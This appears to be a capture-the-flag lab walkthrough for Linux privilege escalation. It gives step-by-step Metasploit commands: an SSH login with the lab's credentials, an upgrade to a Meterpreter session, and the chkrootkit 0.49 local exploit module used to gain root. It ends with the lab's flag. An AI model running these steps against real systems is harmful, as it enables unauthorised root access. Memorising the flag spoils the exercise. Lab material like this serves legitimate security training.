Lab
Objective: escalate to root on the target machine and retrieve the flag.
SSH Login Credentials
| Username | Password |
|---|---|
| jackie | password |
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a privesc
Set Global Variables
setg RHOSTS 192.250.188.3
setg RHOST 192.250.188.3
Log In over SSH
The ssh_login scanner opens a session when the credentials work:
use auxiliary/scanner/ssh/ssh_login
set USERNAME jackie
set PASSWORD password
exploit
sessions 1
Stabilize the SSH Session
/bin/bash -i
export TERM=xterm-256color
Upgrade the SSH Session to Meterpreter
sessions -u 1
Elevate to Root via a Vulnerable Binary
Look at the running processes to find a binary with mismanaged permissions:
ps aux
Inspect the binary:
cat /bin/check-down
This script runs chkrootkit every minute on the minute. Check its version:
chkrootkit -V
Version 0.49 is vulnerable to a privesc technique. Background the session, then run the chkrootkit exploit against it:
use exploit/unix/local/chkrootkit
set SESSION #
exploit
This exploit might require changing the filepath of the chkrootkit binary depending on where it is stored.
Flag
9db8bf8f483ff50857f26f9bd636bed6